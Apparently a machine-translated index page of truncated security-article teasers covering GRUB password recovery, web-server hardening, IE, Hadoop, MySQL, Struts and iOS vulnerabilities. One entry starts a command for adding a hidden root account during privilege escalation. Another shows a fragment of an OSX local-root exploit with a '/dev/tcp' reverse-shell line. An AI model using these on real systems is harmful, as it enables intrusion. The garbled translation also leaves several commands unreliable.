UNIX/Linux RHEL6.3 root password cracking, GRUB Encryption

Lab environment: 1,RootHow to recover password loss Start the instance, press any key to enter GRUB mode, and press "e" to edit GRUB www.2cto.com. Select the kernel part of the second line and press "e" to enter the editing mode. Enter sulinux = 0

Is the PHP5 suffix required for LNMP security configuration?

By default, lnmp resolves the php5 suffix. If your program does not use the php5 suffix, it is best to remove it. Locate the following configuration section location ~ . * \. (Php | php5 )? $ {Try_files $ uri = 404; fastcgi_pass

General ie json hijacking Vulnerability

You can view this information at http://www.bkjia.com/article/201205/132847.html.Json hijacking due to improper data processing of some resource containers. because ie supports vbscript, the script element can be specified as the vbscript language:

Use Nginx rewrite to improve website security performance

A few days ago, in order to use idle VPS, a movie station was built with GXCMS, and then swept down to the 360 Website Security Detection area, the system prompts that the XSS vulnerability exists. After checking the vulnerability, the vulnerability

Apache Hadoop Remote Command Execution

The management web end of hadoop, hbase, and hdfs0.2 RC can remotely execute commands and distribute tasks to cluster servers through this node (this is a basic function, of course, you can perform batch Elevation of Privilege for linux Hosts) to

Microsoft XMLDOM in IE can divulge information of local driv

http://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/ Another ws method, the person who knows the goods naturally :) It is a bit of a problem to judge the poc in the file,

Elevation of permission after mysql5.1

MYSQL 5.1 and later versions have another limit. The DLL used to create a function can only be placed in the plugin directory of mysql .. This plug-in directory does not exist by default .. YD: it may be to prevent the DLL from being written to this

Sqzr self-use lnmp Security Configuration

Lnmp combination is a good choice for small memory vps .. my website has been using lnmp. Recently I helped my friends build several websites on their own vps. dedecms always worried that the affected website would be affected by the outbreak of

Linux system reinforcement: add security protection layer to GRUB

There must also be a method to hold your feet. The 26th is approaching. I cannot guarantee that I can remember too many things in a short time and they are all right, assume it's a monkey, Dad, and B. You can't watch it, hahaha ~ (You are not

Android Device Manager Vulnerability

I. Vulnerability descriptionCurrently, Backdoor. AndroidOS. Obad. a, known as the "strongest Android trojan in History", uses the Android Device Manager Vulnerability to Prevent Users From uninstalling it normally. In fact, this vulnerability was

Graphic Tutorial: cleverly set up anti-illegal user login to the server

How can we prevent illegal users from logging on to our server? This problem has plagued too many people. websites have been infiltrated. The next step for hackers is to escalate permissions. Elevation of Privilege is to increase the WEB backdoor

Discuss the special permissions of IIS

 Background: Yesterday I made a serious mistake. When I checked the security of several websites on a server, the JSky File Deletion vulnerability caused the files on several sites.Deleted (I was later aware of this JSky vulnerability ). I did not

In linux, add a root account and set the password.

Adding an account to the Intranet machine with the privilege escalation without the ECHO will make it difficult to set the password. The following is a command to add a root-level account and set the password. Useradd-p 'openssl passwd-1-salt 'lsof'

Correctly set php-fpm and nginx to prevent website hacking

Core Summary: The user used by the php-fpm sub-process cannot be the website file owner. Any violation of this principle does not comply with the minimum permission principle. According to continuous feedback in the production environment, php

Struts vulnerability repair process S2-016

Struts vulnerability repair process S2-016. The evil Struts appeared again, this time being a remote execution vulnerability. We recommend that you upgrade to 2.3.15.1 immediately. I hope this is the last vulnerability fix. The upgrade procedure is

Simple setting of Linux Account Security

At work, I found that many colleagues prefer to use the root management system and do not have a dedicated management account. Using a single root account for management brings both risks to the system and inconvenience to user management and audit.

OSX & lt; = 10.8.4-Local Root Priv Escalation (py)

#! /Usr/bin/python # Original MSF Module :# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb ######################################## ################### Title: OSX &/dev/tcp/% s 0> & 1 &

Windows special File Name Vulnerability

Folder Name VulnerabilityC: \ test \ wooyun> md \\. \ c: \ test \ wooyun \ com1.wooyun Device Name Vulnerability c: \ test \ wooyun> md \\. \ c: \ test \ wooyun \ com1.wooyunThe Created directory, which cannot be deleted. In WIndows2003 and earlier

Five security features of Windows 8.1

Later this summer, Microsoft plans to release Windows 8.1 for manufacturers. Windows 8.1 security is particularly important in the era when employees no longer only use corporate desktops and laptops. The top five security features of Windows

IOS 7 lock screen vulnerability: allows you to view photos and other information without a password (including operation steps)

A major selling point of Apple's new iPhone 5S is its security features, including its new fingerprint processor and the Built-in anti-theft feature in the next-generation iOS 7. However, a bug that has existed since the previous generation of iOS 6

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